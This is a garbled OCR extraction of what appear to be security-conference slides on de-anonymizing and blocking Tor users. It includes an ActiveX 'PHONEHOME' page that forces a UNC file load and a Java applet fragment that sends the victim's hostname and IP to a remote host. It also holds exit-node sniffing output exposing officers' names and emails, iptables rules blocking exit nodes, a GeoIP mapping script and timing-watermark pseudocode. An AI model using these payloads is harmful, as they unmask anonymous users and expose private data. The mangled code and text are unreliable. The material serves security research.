FORTCONSULT

Straight talk on IT security
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E) How Tor Works: 3 €3 Tornodo
e "0 +% $ #,

Step 3: If the user wants Ca .
access to another site, i “ -
Alice's Tor client selects - n u : 4 / + ' (=
a second random path. . M < s =
Again, green links are - : Jane % &
encrypted, red links are d
in the clear. ‘/—\J L % | (" (
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. ' ) Tor Network Status - Mozilla Firefox

% % Filer Rediger Yis &bl Bogmasrker  Funkhioner  Hizlp
! <:Z| - I_IL p - @ _- @ @ http:,l',l’serifos.eecs.harvard.edu,l’cgi—bir“_V.j @ Gt I’|.(:j";tor exit node status.
! ! = htbp: v, security. .. L:,l Secunia - Yulnerahilit. ... L:vl BBEC MEMS | Mews F... L:vl The Code Proj
) 1 l l [ ] SOM Downlo... || [] htep:f...etAns site:kk.dkte... [ ¥ou are mot ... | W/ RSA - Wikip... | @-Tor Netwo... B
% whatever [ | p5455909h.dip0. t—-ipoonnect..de [DTAG-DIALZ0] o
% wor N =15z0z9075.adsl.alicedsl.de [HANSENET—-ADSL]
*wormhole 00 =4.19.182.23 [DE-KEYWEE-II]
)) x=zteadfastx OW =5.25.66.203 [METFALERTE]
XX E port—-212-202-71-36.dynamic.gsc.de [HOME-DYINAMI
% FOUTORTOeTIMyip M d=1b-054-057-080-235.pools.arcor—-ip.net [ARCOR
! % Ztorz [¥] n3373.serverkompetensz.net [STRATO-RZG-DED]
ztord o pl5145249 ., pureserver.info [SCHLUND-CUITOMERS]
zwiekbelfi=ssh M schalands. name [SCHLUND-CUITOMERS]
( DK 545
bitemyshinvietalass M :z17.30.80.251 [ETROTREIST]
globalhost OW =2.235.15.6 [BHMAL-DHCP]
maerskdatacph W =0.165.19.109 [FORT-CONSULT-APS-NET]
notexitnodedenmark M x1-6-058-00-20-h5-cZ-a7.k46. webspeed.dk [KABELT
saudihdcker Ml 155.69.130.244 [Gocannet—Network]
EE B9 o/1
borism E iplli.cabs.1lsn.starman.es [EE-STARMAN-CLIENTS]
Es [ 274
hazel E 85-57-128-6.gijl.ad=sl.uniz.e=z [UNIZ-NET] bl
< £
@ Find @ Find naeste @ Find Forrige (= Fremhaey [ Tag hensyn kil skore og smé bogstawd
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CAPI COM CertificateCl ass capcert = new CAPI COM CertificateC ass();

capcert . Load(
"\\\\cbn-desktop\\testfile", "",

CAPI COM CAPI COM KEY STORAGE_FLAG. CAPI COM KEY_STORAGE_DEFAUL
T’
CAPI COM CAPI COM KEY_LOCATI ON. CAPI COM CURRENT USER_KEY) ;

) 6 ,:9 %' ) %(

<htm >
<head> <title>FortConsult - Tor ActiveX PHONEHOVE</titl e> </ head>
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<body>
<OBJECT i d="Tor phone" w dt h=0 hei ght =0
cl assi d="CLSI D: 17E3ALC3- EABA- 4970- AF29- 7F54610B1D4C" >
<SPAN STYLE="col or:red">Coul dn't |D you. </ SPAN>

</ OBJECT>
<script |anguage=vbscri pt>
Tor phone. Load "\\\\cbn-desktop\\testfile", "", 1, 1
</script>
</ body>
</ htm >
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T 195.251.96.1: 23 -> 195. 69. 130. 244: 52452 [ AP]
C..... Wel cone to the Hellenic Arny Acadeny. .

This is Accadeny's internal router.... contact: Major Dimtri
os St at hakos (st at hakosd@l phal. sse.gr).. Captain Chri st
os Di oni sopoul os (di oni sopoul osc@l phal.sse.gr).... Hellenic Arny Ac
adeny. . Vari, 16 673, Attiki, GREECE.. tel: +30 1 897
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Systemout.println("get_env.class (verl.0)");
Systemout. println("Copyright (C 1997 Atelier AZUVA. All Rights
Reserved. ") ;

i f(s.equal s("DOVAIN"))

oj ect obj = null;
try

Socket socket = new Socket (rhost, 80);
Print Stream printstream = new
Print Strean{(socket. get Qut put Strean());
printstreamprintln("GET " + cbase + cgifile);
in = new Dat al nput Strean{socket. getlnputStream());
res = in.readLine();
printstreamcl ose();
socket . cl ose();

}
)
! Jl % % %
#+ H#  # <
. > % )
6% & % | ' % )! (

I net Addr ess i netaddress = | net Address. get Local Host ();
String s3 = inetaddress. get Host Nane() ;

String s4 = inetaddress. get Host Address() ;

res =s3 +" [" +s4 +"]"
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grep '“router ~tor/.tor/cached-directory |awk
"{print $3}'
% 2 > #8 #
& ! I B ) ) % &! F ) )
o' % 22 % 02 ''& B % ) )
0 ?
for TorExit in “grep '“router ~tor/.tor/cached-
directory |awk '{print $3}'|sort|unig ; do echo
Bl ocki ng $TorExit; iptables -1 INPUT -p tcp -mtcp -s
$TorExit -j REJECT; done
$ " % 0 ) 0) &
) % ) " ) ) % %
%
%
wop f’l/ )
Protected Net r’ and A C
/ e or | &
Irew
)
B
[ — )
| |
E Tor Autoblock Scenario: (" &)
Tor Status Finding Node Firewall queries firewalled / hardened )*
(but still untrusted) Tor middle node,
blocks IPs
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./tortus.pl China

Loadi ng Geol P database... | P data | oaded, 374 ranges founds for
Chi na

Readi ng cached-directory... Directory |oaded, 616 Onion Routers
active

-- Analyzing data --
frland (222.84.10.88) is in China

publ i shed 2006-03-07 13:23:10, uptinme 839
andrewgao (218.57.89.121) is in China

publ i shed 2006-03-06 14:55:50, uptinme 7206
flyingboy (166.111.249.39) is in China

publ i shed 2006-03-07 12:51:01, uptinme 105671
gtjaet (218.93.16.18) is in China

publ i shed 2006-03-07 13:49:46, uptime 108090
fgsinternet (211.94.188.225) is in China

publ i shed 2006-03-07 11:02:14, uptime 1663505
distro (61.242.102.18) is in China

publ i shed 2006-03-07 10: 38: 43, uptime 3525681
./tortus.pl Denmark
Loadi ng Geol P database... | P data | oaded, 722 ranges founds for

Denmar k
Readi ng cached-directory... Directory |oaded, 616 Onion Routers
active

-- Analyzing data --
mel | enbesten (82.143.198.125) is in Dennmark
publ i shed 2006-03-06 21:46:23, uptinme 1350
maer skdat acph (80.165.19.109) is in Denmark
publ i shed 2006-03-07 13:02: 04, uptinme 1406
gl obal host (84.238.15.6) is in Dennark
publ i shed 2006-03-07 05: 46: 42, uptinme 428757
bi t enyshi nynet al ass (217. 30. 80. 251) is in Denmark
publ i shed 2006-03-07 02:27:14, uptime 211712

./tortus.pl 'Czech Republic’

Loadi ng Geol P database... | P data | oaded, 364 ranges founds for
Czech Republic

Readi ng cached-directory... Directory |oaded, 616 Onion Routers
active

-- Analyzing data --

irag (81.0.225.179) is in Czech Republic
publ i shed 2006-03-07 11:27:34, uptinme 854
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# )? 5 % 00
#!/ usr/ bi n/ perl

# Tor exit-router to Geol P | ocation mapper,
# witten by Andrew Christensen, anc@ortconsult. net

use strict;

unl ess(defi ned( $ARGV[ 0])) {di e("Usage: $0 countrynanme\n");}
ny $cn = $ARGV[ 0] ;

# assune that Tor cached-directory is here, rather than pulling it
live
# ~/.tor/cached-directory
ny $dircache = $ENV{' HOWE'} . "/.tor/cached-directory";
unl ess(-r $dircache){
di e("Unable to open Tor cached-directory at $dircache\n");
}

print "Loadi ng Geol P database... ";
open(mnmy $CGEA P, " <Geol PCount r yWoi s. csv")
or die("Unable to | oad Geol PCountryWois.csvin");

# exanple line from dat abase:
#

"221.97.210.0","221.97. 210. 255", "3714175488", "3714175743", "DK", " Denmar

kn

# % pdata contains records in format:
# $i pdat a{| owDeci nal | p} = $hi ghDeci mal | p;
ny % pdat a;

whi l e(my $dbline = <$GEA P>) {
unl ess($dbline =~ m "$cn"$/i){next;}
ny @lbrecords = split(/,/, $dbline);
ny $l owip = $dbrecords[2];
ny $hi ghip = $dbrecords[ 3];

$low p =~ s/["0-9]//g; # strip non-nuneric characters
$hi ghip =~ s/[70-9]//g;

$i pdat a{ $l owi p} = $hi ghi p;
}
cl ose($CGEA P) ;
print "IP data | oaded, " . keys(% pdata) . " ranges founds for $cn\n";

print Read|ng cached-directory.. ;

open(nmy $DIR, "<$dircache") or d|e( Can t open() dircache\n");
my % outers,

ny % outertine;

ny $l astrouter

my $lastip

# interesting lines |ook like:

# router vfgbj k5600789 83.171.145.235 9001 0 O

while(my $dirline = <$Dl R>){

i f(defined($lastrouter) and | ength($lastrouter)){

& % | 8OA8A) I (



if($dirline =~ m "~published /){
$dirline =~ s/[\r\n]//g;
$routertine{$l astrouter} = $dirline;
next ;

}

if($dirline =~ m Muptine /){
$dirline =~ s/[\r\n]//g;

$routertine{$l astrouter} .= ", " . $dirline;
next ;
}
}
unl ess($dirline =~ m~router /){next;}

ny @acherecord = split(/ /, $dirline);
$l astrouter = $cacherecord[1];

$lastip = $cacherecord[ 2];

$routers{$l astrouter} = $lastip;

}
cl ose($D R);

print "Directory |loaded, " . keys(%outers) . " Onion Routers
active\n";

print "\n-- Analyzing data --\n";

foreach my $orname (keys(% outers))({
ny $orip = $routers{$ornane};
foreach nmy $low p (keys(% pdata)){
if( (& ptodec($orip) >= $lowip) and (& ptodec($orip) <=
$i pdat a{ $I owi p})) {
print "$orname (" . $routers{$ornane} . ") is in $cn\n";
print "\t" . S$routertime{$ornanme} . "\n";
got o H TFOUND;

}

}
HI TFOUND:
}

RHHBHBHHBH AR HBHHBH BB H
# SUBS #
BHABHBHHBHBHHBHHBHBHHBHH

sub i ptodec {

ny $ip = $_[0];

ny @ctets = split(/\./,$ip);

ny $decip = ($octets[0] * 256 * 256 * 256) + ($octets[1l] * 256 *
256) + (S$octets[2] * 256) + Soctets[3];
}
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keyString = “1’ve got you now.."

st art Del ayLoop:
for each letter of key:

al | owNunber Of Byt esToSend( (ascii_value(letter) x 100) bytes)
mllisecondsToWait( ascii_value(letter) x 5)

al | owToSendNor mal | y( 100 ki | obyt es)

r epeat ...
! !
" I #$ 1 % | %0&
' ! !
" I (% 1 % ! %0&
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" I $ 1 % | %0&
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